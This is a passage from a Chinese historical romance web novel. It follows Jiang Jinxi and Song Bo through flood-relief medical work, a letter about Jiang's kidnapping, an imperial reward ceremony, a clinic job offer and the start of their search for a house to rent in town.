正厅比前院小一些,躺了几十位病患,江金熙小心地跨过他们,直走到林武玉身旁,原来他们这儿的大夫有几人挨不住着高强度的工作病倒了去,大夫空出空来,看病的速度缓了不少。 林武玉指着左面哎哎叫唤的十来人,说:“那些便是今儿个新来的伤患,只能麻烦你瞧瞧了。” “没问题。”江金熙道。 宋泊不会医术,只能在江金熙身旁起个辅助作用,江金熙额头上的汗快遮眼了,他就帮着擦去;江金熙手上的工具少了,他就帮忙找去。 宋泊翻着手中诊盒,帮江金熙找工具,远远瞧着江金熙为伤患诊治的模样,眉眼低垂,睫毛翩翩,眼神认真瞧着伤患,口一张,声音如清泉,安抚着本躁动不安的伤患逐渐趋于平静。 宋泊忽而就被江金熙迷了去,工作之中的人总是散发着魅力,医学是江金熙的领域,这儿便是他的主场。 宋泊并未失神太久,灾后每一分每一秒皆是黄金。 一日过去,江金熙将今日的新伤患都处理完毕,才回到林武玉为他安排的房间。 林武玉毕竟是传福镇的县令,在这时候腾出个房间专门给江金熙也不算难事。 久久未在床铺上躺过,江金熙发出一声满足的叹息。 “可是累得紧了。”宋泊从外头打了盆水进来,现下水资源缺稀,江金熙洗不了澡,只能简单地洗洗脸。 “确实是累了。”江金熙一个翻身,侧躺着瞧着宋泊,“手都抬不起来了。” 宋泊听出了江金熙的言外之意,他把面巾放进水盆之中,揉搓几把再拧干水分,而后坐到床边,轻轻给江金熙擦面儿。 江金熙高兴,眯着眼享受宋泊的服务。 一日都带着口罩,脸上都被捂出了个痕,宋泊心疼,却也只口罩是必须带的。古代的医疗条件不比现代,带个口罩已是防范病毒、细菌的最好法子。 见宋泊一直盯着他的脸瞧,江金熙抬手抚上自己的脸,摸到了那被勒出来的红痕,“可是丑了?” 哪个哥儿不爱美,更何况这是在自家情郎面前。 “不丑。”宋泊摇了头,这可是江金熙为百姓们奋斗而来的痕迹,哪儿会丑。 “那你为何一直看着?”江金熙说。 “我只是在想,勒出一道痕都这般漂亮,我的爱人可是恒国第一美人。”宋泊道。 闻言江金熙抬手打了宋泊一下,满脸羞红,“我看你是恒国第一油嘴滑舌。” 翌日,县衙倒来了个熟人。 传福镇所有大夫都聚在县衙之中,以致于百姓们想要来看病都得到县衙来。 “你怎么在这?”秦令一瞅着宋泊,本就眩晕的脑袋越发昏沉了。 “林县令喊我帮忙,我自然就在这儿了。”宋泊道,他与秦令并无太大恩怨,此时正值特殊时期,宋泊也没打算与这个没长大的大少爷较劲,“哪儿不舒服?” 为了提高江金熙的看诊速度,宋泊会先简单地了解伤患的情况,这样江金熙便不需要再问一次。 “我才不要跟你说,叫大夫来!”秦令道。 宋泊知道秦令本就是个混球,却没想着他犯浑的时候竟不看场合地点。 “此时人手紧急,你得在这儿乖乖排队。” “我都快晕死了,还需排队?”秦令声量又高了几分。 “安静些,病患都在休息。”宋泊心中不悦,秦老板也是太宠秦令了,现在这个时候,还能骄纵。 “那你赶紧带我看大夫。”秦令道。 “说了要排队,你若是再胡闹,我便喊士兵将你抓出去,等夜了再让大夫给你看诊。”宋泊道。 秦令正想跟宋泊争论,嘴里那句“你算老几能使唤得动士兵”还没说出口,就见着一个路过的士兵瞧着宋泊与秦令在这儿站定许久,上来问着:“宋公子,可是需要帮忙?” 水灾过后容易出乱子,江金熙带着士兵来也是为了在有人闹事的时候,可以及时将闹事者请出去,还大伙儿一个安宁。 宋泊看了秦令一眼,秦令乖乖地闭上了嘴。 见秦令怂了,宋泊道:“无事,你尽管忙你的。” “若是有事便来喊我们。士兵道。 见宋泊这副威风的模样,秦令心中说不上的不舒坦,本来因着染上风寒难受的身子越发难受了起来,也就是他爹辞了官到这穷乡僻壤开书店,要不然哪儿轮得着宋泊威风。 秦令坐在位置上,一言不发也不再找事。 宋泊这才往别处去,看看哪儿的伤患需要帮助,他好搭把手。 等了约莫一个时辰,秦令才坐到大夫面前,只一眼,秦令就被眼前的大夫迷了去。 眼前人皮肤白皙,虽然被口中遮去的半张脸,可双眼璀璨如明星,睫毛又长又翘,不必仔细斟酌便知是个美人坯子。 秦令也到了谈婚论嫁的年纪,他爹爹总是催着他找姑娘或哥儿,眼前人正合他的心意。 “这位大夫好生陌生,可是从别的地儿来的?”秦令问道。 江金熙没有闲工夫与他闲谈,他后头还排了很多人,更何况他刚刚闹出的动静他也看着,既针对了他家宋泊,江金熙对他便没什么好脸色,“叫什么名字?” 大夫声音如清泉,也是个顶个的好听,秦令被迷得三迷五道,“秦令。” 江金熙手中毛笔一顿,这名字他可熟,当初输给宋泊的应该就是这个人,可江金熙怕针对错了人,又细致地问了句,“你父亲可是百书阁秦老板?” 听着大夫对自己父亲有了解,秦令惊喜道:“正是!大夫居然认识家父。” 好啊,这下他找对人便能猛下狠方了,既然明面上无法做手脚,那他就在暗地里做手脚。 江金熙给秦令把了脉,秦令只是得了个简单的风寒,吃几副药就能好,江金熙手中毛笔不停,秦令继续搭讪着:“大夫会在镇里呆上几日?咱们镇游湖最是有趣,等灾情过了我请大夫去瞧瞧?” “不必,我不喜欢游湖。”江金熙放下手中笔,把药方塞给秦令以后,便说着,“拿着药方去左面儿药柜那儿抓药,回去喝下就能好。” “那便多谢大夫,等我好了定携礼来谢。”秦令拿着药方一步三回头,连头晕都无暇顾及。 江金熙掩在口罩底下的唇角微微上扬,这药不把你苦死,他就不姓江。 80-90 第81章 第八十一章送信。 八月十五日,传福镇的灾情也大致稳定,有些工人已经在林武玉的安排之下,开始了镇子重建的工作。 还好七月以后便放了晴,一连晴了十五日,好天气对于重建来说非常重要。 这日,宋泊正帮着一个奶奶把孙子抬回家,忽然身体被人撞了一下,随后他觉着有东西被塞入他的怀中。 不过忙着搬人宋泊也没空看,等把伤患送回了家,他才站在路边,把怀中的东西掏了出来。 这是一封折得完好的信,宋泊将信拆开,越往下看眉头越是皱起。 信中写了跟江金熙被拐有关的事儿,透露了几分内情,若以此信给江丞相,相信江丞相定能顺藤摸瓜找到幕后主使。 只是这信是真是假没个定数,若是别人恶作剧写的信,那不是得耗费一番人力物力。 宋泊把信重新折好放进怀中,只等着晚上与江金熙商量。 入了夜,房中蜡烛明亮,宋泊与江金熙面对面坐着,两人谁也没有说话,气氛陷入沉静之中。 这信若是真的,确实有着关键作用。 自爹爹知道内情以后,他便派人查着背后内情,只是那人实在狡诈,查了这么久还未查到源头。 “我觉着应当送回去给爹爹看看。”江金熙先开了口。 这信中内容写得详细,写信者像是真实经历过一般,可信度有半成以上。 “那等会我们就将信送到迅箭马手中?”宋泊道。 迅箭马是士兵中通讯兵的称呼,因其速快如发射之箭,故称迅箭马。 “也成。”江金熙答。 近日一直有迅箭马来回不停在南边和京城之间,就是为了及时将南边的灾情及时送到京城去,迅箭马速度快,从南边返回京城只需八日时间,硬生生将路上花费的时间缩去了一半。 “不过可得伪装一番。”宋泊道。 保不齐这迅箭马中就混有之前的贼子,万事都需小心。 江金熙坐到书桌之前,先把这封信抄了一份下来,随后又写上一封家书,把抄好的信夹在其中,如此伪装起来如果不细看,只会以为江金熙思乡心切,写了两三页纸。 之后又有几批从京城来的物资,这个水灾也算安然度过。 九月头,迅箭马从京城拿了信回来,是江丞相写的,江金熙在信里写了春节才回去的事儿,可把江丞相气够呛,单看字都能抿出江丞相是带着气写的,笔锋锐利,看着就气势逼人。 不过好在南边的事迹传了回去,皇帝赏了镇河将军所带队列中的所有人,江金熙在其中,自也得了皇帝的赏,江丞相看在皇帝的面子上,只说等江金熙回去再教训他,却也没提要喊人抓他回去的事儿。在信的后半截江丞相还写着,送回去的证据他会派人细查。 与信一块儿来的还有一张银票,江丞相说这是皇帝赏给江金熙的,便寄来给江金熙用。 江丞相只拿了小部分的银票,剩下的大头还放在丞相府中,在村中生活不宜露富,容易遭他人惦记,江丞相一合计五十两应该够他们花半年了。 “你还有铜钱吗?”江金熙微踮脚尖,在宋泊耳边轻声问着。 迅箭马这一来一回可是辛苦,确实需要给他一些路费钱。 宋泊从怀里拿了钱袋交到江金熙手中,钱袋中有一些碎银子和零散的铜币,江金熙想赏多少完全随他心意。 江金熙从钱袋中拿出五十文交到迅箭马手中,迅箭马倒也没客气,说了句“多谢江公子”就把钱收了进去。 水灾将家中银钱花去差不多,虽说江金熙现在得了银票五十多两,可钱庄不知何时开门,这银票现在也只是张纸罢了,江金熙帮宋泊省着钱,不敢一下给太多,一月多没有赚钱,百书阁也不知道何时开店,这往后的开销还得先靠着这些碎散银子和铜钱度日。 迅箭马未久留,收了钱就离了宋泊家,灾后重建是工人的活儿,他们这些士兵只会在近里村再待上半月。 等迅箭马走了,江金熙才手里攥着银票,想找个位子藏起来。 五十两不是小数目,可得好好藏起来。 见江金熙琢磨着藏钱,宋泊忍不住笑道:“这五十两银票一来,你可就是我们村中的小富豪了。” “那你可得帮小富豪想想藏哪儿比较安全。”江金熙道。 宋泊家中的家具多是木质的,被水一泡都腐去不少,现如今还能撑得住,等以后赚了钱可得把这些家具一通换了,不然保不齐哪日睡在床上一个翻身就把床给压塌了来。 “我瞧着还是先放衣柜吧。”宋泊道。 江金熙也觉着衣柜好,就把银票塞进他的一件旧衣服夹层中。 常乐围在两人脚边转着,两月过去它又长不少,已然有了田园犬的风貌。 江金熙弯下腰插着常乐的手臂把它抱起来,而后指了指他藏着银票的那件衣裳,嘱咐着常乐,“常乐,你可得瞧好了,要是有人来翻这个,你只管咬他。” 常乐瞪圆了眼,像是听懂江金熙的话又伸长脑袋用鼻子闻了闻那件衣裳,把宋泊和江金熙逗得哈哈直乐。 夜渐渐深了,天上高挂着星星,卧房中点着蜡烛,两人就着卧房内的长桌,吃着简单的晚餐。 现在还在灾后期间,百姓们都忙着家中事务,没多少人会出来摆摊,这些个蔬菜还是宋泊今日运气好,出去挑水回来时遇见一个阿嬷,阿嬷篮子里装了些耐淹的蔬菜,宋泊一阵好话说下来,阿嬷才同意卖他一些。 江金熙一口青菜一口干粮,倒也不觉着磕碜,村中生活就是如此,他既然已经决定待在村中,便得适应这般生活。 只是这干粮是为了充饥而做,实在噎人。 宋泊递了水过来,还喊他慢些吃,“你的侍人青桥没与你一道来呢?” “当时出发得急,青桥又什么都不会,来这儿没甚么作用不说还容易被染了疫病。”权衡利弊之下,江金熙便决定让青桥待在府上,别与他一块儿折腾。 当时青桥还倔着要与他一块儿来,要不是他用了主子的威信,还压不住青桥。 “不过爹爹信中写了,青桥过些日子便会到村儿来。”江金熙道。 “如此好啊。”宋泊说:“离明年二月不过五月,我忙于读书难免会疏忽你,有青桥在我也放心些,能陪你解闷还能让你过得舒服些。” 想考科举不投入百分之百的努力是不可能成功的,若要一心投入读书当中,定然会有顾及不到江金熙的地方。 “无妨。”江金熙倒不在乎这些,读书本就是件需要举全家之力支持的事儿,宋泊读书他便在一旁看医书,如此想着也别有一番滋味。 “得郎如此,夫复何求。”宋泊道。 江金熙笑着说:“我们还未成婚呢,怎么就得郎如此了。” “这只是时间问题。”宋泊跟着一同笑道。 既然青桥要来村里,那断不可能与他们同住一屋,在卧房便上搭个偏房便成了重中之事。 只是现在实在不好找人,就算喊杨绘帮忙,也没有人愿意来,所以建偏房这事儿只能暂时搁着。 百书阁不知道何时才会再开业,秦闻说开业会派人来告知他,宋泊这才安了心在家中读书。 花去两月时间,留给他读书的时间又少了不少。 宋泊坐在书桌前,一页一页细细读着,江金熙便搬了把木椅子坐在窗边看着医书,卧房内只有时不时的写字和翻书声,显得静谧和谐。 “宋叔叔!”忽然,院子外头传来孩子的声音,仔细听来是李会书的声儿。 宋泊放下手中的毛笔,江金熙也把医书放了下来,两人一同到卧房外迎接,是李五一家来了。 常乐趴在院子里,动作比宋泊和江金熙还快上不少,它对着李五一家吠叫,把李会书给吓了一跳,直到宋泊喊它停,它才停下来。 “真是条好狗。”李五夸着,养狗就是为了看家,一只狗若是见着陌生人都不吠叫提醒主人,那还有些什么用处。 宋泊快走两步迎了上去,同时口中问着,“李兄你怎么来了?” “这不是水灾过了,来瞧瞧你。”李五喊阿篮把手里的东西交给江金熙,而他则揽着宋泊的肩膀往屋里头走,“也是多亏了你,喊我们注意防范水灾,我们这才备了干粮安稳度过。” 李五想起当时的大雨仍旧是一阵后怕,若不是他听着宋泊的话,寻思着放着干粮也能久放买了不少,不然这两个月非得饿到啃树皮去。 “也是运气好,猜中了。”宋泊看着阿篮手中的东西,说:“来便来,带什么东西,现下大家都不容易,人到了便好。” “就是呀,我们也不缺什么的。”江金熙跟着宋泊的话往下说着。 “那不是买的,是阿篮先前做的熏肉,还有一些,就带来给你们尝尝。”李五道。 听闻是阿篮自己做的,江金熙这才同意收下熏肉。就算他未去集市也知现在的物价定然飙升不停,李五家只是寻常百姓家,在这时候花大价钱买熏肉给他们,江金熙是绝对不会收的。 宋泊猜想江金熙应该进行了一番利弊分析,他也是家中一员,既然他收下了阿篮的熏肉,那他也不会出言阻止。 第82章 第八十二章受赏。 九月十日,林武玉派了人来寻宋泊和江金熙,昨日镇上办了个集体悼念会,为在水灾中逝去的人点了孔明灯,放了安魂船,今日说是京中赏赐来了,要奖赏在水灾善后工作中做了突出贡献的人。 宋泊和江金熙的名字赫然在内。 来人唤了辆牛车来,现在这个情况不适合叫马车,会寒了百姓的心。 既要去镇上,江金熙便想着把银票拿出来,没准能遇上哪家钱庄受损较小,早早营了业。 家中东西要换的很多,江金熙首先想着把宋泊的书桌给换了,那书桌被水浸了去,四条立地的腿站不稳,写字都会摇摇晃晃,宋泊还是在其中一条腿下垫了些破布,这才勉强维持住了平衡。 衙役等在院子内,问:“宋公子,可好了?” 宋泊守在卧房门口,瞧着江金熙把银票揣进怀中,这才答应着,“好了好了。” 路上,衙役拉着缰绳驾驶着牛车,没想到衙役干起这活还挺得心应手,驾驶得不比专业赶牛人差。 索性闲来无事,宋泊便与衙役搭起话来,面前这个衙役他有些眼熟,前头办案子的时候瞧过他,水灾搬人也瞧过他。 “这位官差如何称呼?”宋泊问。 衙役是贱役,称不了官老爷,可到底是为了县衙工作,宋泊便选了个折中的称呼。 “我名为赵天,宋公子您唤我名字就是。”赵天说。 宋泊瞧着赵天比他年长几岁,便以“赵兄”唤他,“赵兄可是曾驾过牛车?” “此话怎讲?”赵天扭头过来,问道。 “这牛看似憨厚,实则跟驴差不多倔,你能不用牛鞭便让牛儿悠悠往既定路线走,应当是有技巧的。”宋泊道。 “宋公子好眼力。”赵天回,“我曾在村里赶了十几年的牛,赶牛对我来说可是再简单不过了。” 这般说来赵天曾是个农户,而农户为何想不开做了衙役,想必是家中出了大变故,急用钱才选了这条道路。 衙役的工钱由县衙发放,传福镇是南边沿海城镇之一,水运发达,每年县衙挣的银子不少,故而不会苛责衙役,在恒国所有衙役薪资之中,传福镇衙役每年得的工钱也算在前列,因此虽然衙役是贱役,但还是会有很多缺银子的人想当上衙役。 “宋公子和江公子这次可是遇着好事了。”赵天道。 “此话我听不太懂,请赵兄明说。”宋泊道。 赵天作为县衙中的衙役,知道一些内情,他边赶着牛,边说道:“京中赏赐下来,县老爷贴了张红榜,榜上人名几十,您俩的名字就在其中,能分得京中赏赐呢!” 恒国国泰民安,中央金库丰盈,遇到此番大灾,救助银少不了,奖赏给有功之人的银两也少不到哪儿去,赵天不知道具体数儿是多少,却知道县衙里进了几箱东西,救助银与奖赏银加起来,有七个木箱之多,粗略算来估摸着有几千两,几千两就算只分出一千两来奖赏,榜上几十人还未至百,每个人也能分得十两往上。既得了赏钱又得了官府的赞赏,这名声散出去还能赢得百姓好感,这何尝不是件天大的好事? 宋泊懂得其中道理,本来他只是想救人,现下被县衙赏了,还得一些好声望,对他的科举之路来说只有好处没有坏处。 “看来你的银票只能收在怀中下次再用了。”宋泊脑袋一歪,在江金熙耳边轻声说着。 江金熙轻点脑袋,“那也好,碎银子方便。” 牛车缓缓驶进传福镇,至县衙大门口时,宋泊瞥着县衙左墙上贴了张巨大红纸,红纸由四小张拼成,上头用黑色墨水写了不少人的名字。 “赵兄可否先停一下,我想瞧瞧那榜儿。”宋泊说。 “自是可以。”赵天一拉缰绳,牛哞了一声,停下步子。 宋泊先一步下车,随后抬手牵着江金熙下来,两人并肩走到红榜前,离得近了才发现这红榜不止写了人名,还简略写了大家受赏的原因。根据贡献不同,名字的排列顺序也有所不同,江金熙的名字排在前头,红榜前还有个眼熟的吴末,想来前头的人名应当都是大夫。 宋泊的名字就排在后列一些,因为他只出了苦力。 如此安排起来倒也合理,想必每个看着这个红榜的人都不会有什么异议。 看了榜,宋泊和江金熙进了县衙,县衙经过一番休整,已经有了往常的样子,院子里已经站了不少人,应当都是红榜上有名之人。 刚进院子,江金熙就见着两个眼熟的人,他出声打招呼道:“宋师祖、吴兄,你们也在。” 吴末和宋师傅正聊着天,听着江金熙的话,他俩都停了嘴,吴末道:“我正与师傅说着你什么时候到呢。” 吴末和宋师傅在水灾以后没少救人,自然也在受赏的行列当中,只是他们早些时候看榜,却瞧着江金熙的名字在上头,心底儿有几分惊讶。江金熙是江丞相哥儿的事他们有所耳闻,前几月一列车队带了人上京,他俩还以为江金熙入了京便不会再回来了。 “这位是便是宋泊了吧?”宋师傅瞧着宋泊说道,他其实没有见过宋泊,但宋泊与宋茶栽的眉眼有几分相似,所以宋师傅才这般猜测着。 “宋师祖好,吴兄好。”宋泊不知怎么称呼他们,只能跟着江金熙唤着,还行了礼。 之前一直听着宋茶栽与他说宋泊转好的事儿,现下宋泊的名儿也上了红榜,宋师傅才相信宋茶栽说的话。 “此处也没地儿坐,等受了赏,咱们再上饭馆里聊上一会儿?”宋师傅说。 “那自然好。”江金熙应道,许久未见宋师傅,江金熙还有些想念他,毕竟他的医术能进步这么多,都是多亏了宋师傅的书籍。 钟御医看过他带回去的医书,就连钟御医这种行医几十年的老大夫看来,那书也是十分好的,医术不比其他,基底打不好,想在上头盖房子只能是白日做梦,而宋师傅的医书标注细致,正适合初学之人打好地基。 县衙院中人来得差不多,衙役才喊众人进了正厅内。 宋泊长得高,他粗略看了眼在场的人,估摸着这儿只有四十几人。 县衙正厅虽然大,但站下这么多人也是*有些拥挤,宋泊揽住江金熙的肩膀将他往怀里揽些,好隔开他与别人。 林武玉站在正位之上,用惊堂木拍了拍桌子,躺下大家安静下来,纷纷看向林武玉。 “想必大家也知晓此次来县衙的原因。”林武玉双手背在身后,缓缓说道:“门外的红榜大家应当都瞧过了,多谢大家在水灾以后出的力,圣上听闻咱们传福镇还有这么多勇于出面的能人志士,大喜,特送了赏银下来,要我好好嘉奖大伙儿。” 林武玉拍了下手,便有四个衙役抬着个大红木箱子从外头走进来,厅中大家都为衙役们让了路。 衙役们把红木箱子运到厅中,打开盖子,白银层层叠叠,晃了厅中人的眼。 宋泊也是第一次瞧着这么多银子,官府还是大方,大把银子说拿就拿。也得亏是在县衙当中,若是大厅之下亮出这么多银子,非得招人抢了去。 “箱中白银千两,就按着名字排行来分。”林武玉说。 大夫们是水灾之后救治的主力,每天没日没夜地看诊病人调整药方,几乎所有的大夫经历这一遭都瘦了不少,给大夫多发一些,也没人有什么意见说。 红榜上前十三是大夫,各分了三十两,后头出力忙活的人各分得二十两,大伙儿都有得分,全都喜气洋洋。 这可比做工赚多了,不过大伙儿都是以命换的钱,稍有不慎就容易丢了命,这钱来得也不算容易。 “多谢林县令,多谢圣上。”不知是谁起头喊了一声,大伙儿也都跟着喊了起来。 赏赐的人听了好话,下次才愿意接着出钱赏赐。 虽说圣上离得远听不着这声儿,但林武玉会呈信上去,将今日发生之事细细说与圣上。 厅下衙役按着人名,一个个划勾给银子,林武玉瞧着唇角上扬,心中也是愉悦,外人赏千两,内里帮着干活的弟兄们自也有赏钱,两方谁也没亏着,赢得个两全,同时他还听着个小道消息,说是传福镇是南边众县城之中受灾影响最小的县,圣上听闻是他当县令,心中对他的满意多了不少,如此一来,他已在传福镇立下一记功绩,为重新复职回京城提供了份助力。 林武玉本就想重回京城与老师一起为恒国建言献策,现下听着这么个好消息,他怎能不愉悦。 轮到宋泊上前领银子,林武玉瞧着他,此人领钱不卑不亢,背脊笔直,对衙役彬彬有礼,领了钱便撤居一旁,确有一股与他人不同的氛围萦绕其身。林武玉觉着宋泊不是凡物,若明年科举下场一次能中,他定会与老师美言几句,为他科举之路助上一力,也算是还了宋泊提醒建造蓄水池之情意。 第83章 第八十三章愈馆邀请。 领了赏钱,接着也没什么事儿需要他们留着,林武玉便让大伙儿走了。 宋师傅兑现承诺,领着吴末、江金熙和宋泊上了饭馆。 喜春楼还未开业,宋师傅便没有再挑,只随便选了个开着门的饭馆就进去了。 宋师傅身上揣着三十两银子,说话底气十足,直接要了个包厢,让小辈们尽管点自己想吃的菜。 现下还在水灾影响范围之内,菜单上的菜不是所有都有,菜金也提了不少。不过宋师傅不在意这个,出来吃饭就是图个高兴,四人而已,再怎么吃也不可能花去他三十两银子。 店小二记好菜以后退了下去,宋泊给大伙儿倒了茶,宋师傅满意地喝下一杯,才问着宋泊,“你大姑可好?近来太忙我都没空看她去。” 宋茶栽的贡献都在近里村,赏她的事由宋里正来做,林武玉便没请她来。 “好,就是被灾情扰着瘦去不少。”宋泊答道。 原本宋茶栽还有点儿壮大姑的味儿,现在瘦了下去,都没了原先那般气势,直叫人心疼。 “这天地无情,我们能活着已是好运了。”宋师傅说着举起茶杯,四人碰了下杯,皆感叹世事无常。 “听闻小江这次可是看了不少人,可是医术进步不少?”宋师傅问,当初他在愈馆的时候他就看好江金熙,只是没想着江金熙居然如此聪慧,医术进步迅速。 “多亏有师祖的书,我才能进步这么快。”江金熙卖乖着道。 “那我可得考考你了。”宋师傅起了劲,他挑着这次水灾出现过的病种,拿出来考验江金熙。 两人一来一回说的全是专业术语,宋泊并不精通此行,听起来云里雾里还有些迷糊,他便没再留意江金熙那边,而是与吴末说起了话。 聊过几句以后,宋泊才知吴末与宋茶栽是师姐弟的关系。 “你也是大了,小时候我瞧过你几回,你可还记着?”吴末说。 这熟悉的长辈话术让宋泊倍感耳熟,且不说他并非原主,就算他是原主,小时候的事儿哪儿还能记得那么清楚。 不过宋泊也未实话实说,而是挑了好听的话说来,“难怪我瞧着吴兄有些眼熟,原是小时候见过。” 谁不喜欢听好话,吴末听到这话哈哈直乐,“确实是大了,都会说好听话了。” 宋师傅往日很忙,多是吴末与宋茶栽来往,这来往多了,自听着宋茶栽发了不少牢骚。只是半年以前,宋茶栽不再说宋泊的不是,反而还夸他转好起来,当时他不信,如今见着人,发觉宋茶栽说的确是实话。 店小二将菜端了上来,四人执筷吃着,他们都没有食不言寝不语的规矩,边吃边聊,聊得和谐。 此次水灾令愈馆损失惨重,本来大夫就稀缺不说,这下被水带走了几个,人手更加缺失。 宋师傅见江金熙确有医学上的天赋,便想着拉拢江金熙到他们愈馆上工,一方面他确实想培养江金熙这棵好苗子,一方面也能填补愈馆的人手空缺。 “小江啊。”宋师傅唤着。 江金熙搁下筷子,看向宋师傅。 “过两日愈馆开门,你要不要来愈馆上工学习呢?”宋师傅问。 听着自家师傅这么说,吴末睁大了双眼,天知道他家师傅有多久未教人了,自收了他当最后一个徒弟以后,便没在收任何人当徒弟。 江金熙也是喜从心来,可他没被喜悦冲昏头脑,还保有理智地回道:“宋师傅可否容我想一想。” “自然,无论你何时来,我们都欢迎。”宋师傅道。 吃完午饭,宋师傅和吴末还有别的事儿,自饭馆门口四人便分道扬镳。 既都到了传福镇,宋泊便想着去百书阁一趟,打听打听何时开业、何时上工的事儿。 江金熙与宋泊一道儿,刚跨进百书阁,就瞧着秦令站在其中。 秦令正帮着他爹把被水浸泡无用的书籍搬出去丢了,听着门口有人声,他抬起头来,瞧着江金熙他便是一阵惊喜,随后又看到江金熙身后的宋泊,一张脸又垮了下去,一瞬间的功夫表情做了不少,倒有些逗人。 秦令把手中的东西放下,整理好表情,以自己觉着最风流倜傥的模样迎上江金熙,“小大夫你怎么来了?” 江金熙哪儿不知秦令的心思,前头他忙着看病懒得管,现在闲了下来他也不想与他扯上关系,便直接说道:“我陪我夫君来瞧瞧。” 虽然秦令的父亲是镇中很有名气的雅士,但那也是他父亲的名声,秦令此人自大自傲,连与江金熙当朋友的资格都没有,更别说更进一步的关系。 没想到美人大夫已然嫁做人夫,秦令心中一阵不甘,左看右看这一楼厅里除了他和宋泊以外没有另外男子在,他问:“你夫君呢?怎的没瞧着?你莫不是编了个谎,来唬我呢?” 江金熙后退两步,一手勾住宋泊的手臂,道:“这不是远在天边近在眼前吗?” 秦令惊地下巴都快落在地上,对宋泊的厌恶感更盛,此人撞了什么大运,好东西偏偏都是他的。 “小大夫你这眼光可不行,这宋泊之前陷官司里,我听他四姑说,他还进了京中牢呢,可不是什么良配之人。”秦令说。 “秦公子可不能何人话都信呐。”江金熙回道。 秦令见江金熙不听劝,心底只觉这人也只是个笨蛋美人,跟了宋泊,以后有的是苦头吃。 秦闻从楼上走下来,见宋泊与江金熙站在一楼厅中,便开口问道:“你们怎么来了?” “秦老板。”宋泊抬手朝秦闻所在的位置行了一礼,“我来是想问问何时上工。” “再过一周吧。”秦闻两手一摊,身子左右转了下,“你瞧瞧这狼狈的样儿,还得休整一番才能开业。” “到时可会有人来唤?”宋泊问。 “你自可安心,会有人去唤你的。”秦闻答。 “如此便好。”宋泊说:“不知秦老板这儿可有需要帮忙的地儿?” “无妨,我与秦令两人来即可,你只管回去好好读书就是。”秦闻记着宋泊要考科举的事儿,这点儿小事也不必劳烦他。 秦令听了奇着看向宋泊,口气中的不屑不言而喻,“农户也要考科举了?可不是去丢人现眼的吧?” “秦令!”秦闻呵声,他辞官下乡,这儿子没学着他半点好,反而还心高气傲得不行,也是他宠得过头,才养成他这副没大没小的模样。 “爹!”秦令瞥了眼秦闻,闭了嘴。 “犬子也是口说无凭,你便当做没听着,原谅他一回。”秦闻从楼梯上走下来,对宋泊柔声细语。 秦闻还是宠秦令,连在他面前这般对人无礼,他都愿意以面儿请人原谅。 “考场上见真章罢了。”秦闻还在场,宋泊便说得收敛些。 江金熙越发讨厌这个目中无人的秦令,无论宋泊如何,都是他不能随意置喙的。 两人出了百书阁以后,江金熙才没忍着与宋泊说:“明年下场你定要考比他高几分,压他一头!” 秦令每年都会去考科举,只是年年考年年不中。 “那是自然。”宋泊应声,“他年年落榜,我一次便中,如此才能出这口气。” 两人在镇上又买了些生活用品,回家时夕阳泛橘,他们这次没坐牛车,而是携手并肩散着步,夕阳西下,气温不算太凉,正适合散步。 “宋泊。”江金熙先开了口。 “嗯?” “要不我们搬到镇上住,你觉着如何?”江金熙提议着。 刚刚回程的路上他一直在想宋师傅的提议,能去愈馆上工学医,定能比在宋茶栽家学的多,而宋泊又每日都要去镇上上工,家中家具也都被水浸了去,青桥来了还需要再建个偏房,不如直接去镇上租个房,住上个半年,也少折腾些,能把路上赶路的时间用来读书。 “我觉着可以。”宋泊回道,宋师傅是个医学高手,江金熙既起了学医的兴趣,那自然要找镇上最好的老师学习,宋师傅连缝皮都会,便是这最好老师的不二人选。 只是没了解过传福镇上租金如何,还需问问房价,才能决定住在何处。不过宋泊估摸着那租金也不会太贵,有圣上赏赐下来的二十两白银,在传福镇中住个半年当是没有问题。 “你怎答应地如此果断?”江金熙偏头说道。 寻常农户轻易不会挪位,不少在镇上上工的人宁愿每日辛苦来回跑,也不愿在镇里租个房来住。 “如此一来你学医方便,我下工回家也快,一举两得的乐事,有什么理由不答应呢?”宋泊回道。 经过这一年时间,江金熙越是了解宋泊越是觉得此人不凡,他除了出身像个农户以外,其它行为举止、说话作风,皆与文人雅士相当,若不是他知道宋泊没有功名在身,他真要以为宋泊是哪儿的紫微星,因着不想入世而藏在这偏远村庄之中。 “明儿个我们就上镇寻房,你觉着如何?”宋泊牵着江金熙的手,柔声询问。 “好。” 第84章 第八十四章租房。 “这倒也是个好想法。”宋茶栽听了宋泊和江金熙的话后,回道。 搬家是个大事,需得告诉家中长辈,虽然宋泊和江金熙只是在传福镇中住个半年,但到底也算个搬家,得让宋茶栽知晓。 “不过你俩年轻,保不齐被人骗了去,明儿个我随你们一道去镇里。”宋茶栽说。 牙人最是看人下菜碟,遇着年轻的就说贵些,遇着识货的就说便宜些,宋泊和江金熙两人看着年龄就不大,很有可能会被牙人当做小羔羊宰上一顿。 “那感情好。”宋泊忙给宋茶栽倒茶水,献殷勤,本来他正愁没人懂行价,现下好了,瞌睡了有人送枕头,还送的是个极其舒适柔软的枕头。 “多谢大姑。”江金熙谢道。 宋茶栽越发喜欢江金熙了,人长得漂亮,嘴又甜,脑子转得快,还愿意回来村中陪宋泊吃苦,这般好的侄夫郞可得小心爱护,她道:“去了镇里不止你一人有书房,金熙也得有个,听着没?” “这是自然。”宋泊欣然应允,江金熙如此有才华,宋泊也想给他一个安静的书房,有个自己独立的读书空间。 情侣再是粘人,也得为自己的事业做打算,独立书房并不会隔断他们的情意,他们只会在相互扶持之下一起努力。 “那我可要大些的。”江金熙略微抬头,娇道。 如今大家都熟了起来,江金熙也放开不少,显了些他在家中的调皮劲儿。 翌日一早,三人吃过早餐便往镇里去,找房可不是个容易事儿,没准一日都找不着好房子,得多花些时日。 今日比昨日又热闹了一些,出来的摊子也比昨日多了,百姓们总得从灾难中走出来,继续生活。 宋茶栽经常上镇,知道哪家牙行名气大,名气大的店为了保护自己的声誉,做出欺客压价的事儿会比别处少一些。 “诶,客官是想买些什么?”刚走进牙行,便有牙人热情上前迎接,“咱们这儿买房、租房、买下人都是能接的。” “前儿个发了水灾,这无处可去的孤儿都在咱们牙行之中,现下买去价格可比以往便宜多哩。”牙人说道。 这也不能怪牙人没有道德,毕竟他们就是做这般生意的,只是这话在三人耳中听来,都很刺耳。 宋泊打断牙人的夸夸其谈,“我们来租房,你说说租房的事儿就是。” “好嘞!”牙人先引着三人在店内坐下,而后返回前台柜子后头,拿了本厚厚的书出来,拿到圆桌之上摊开给他们瞧,“客官您瞧,这些都是传福镇中以及附近待租的房子,不知您想住在哪片,预算又有多少呢?” 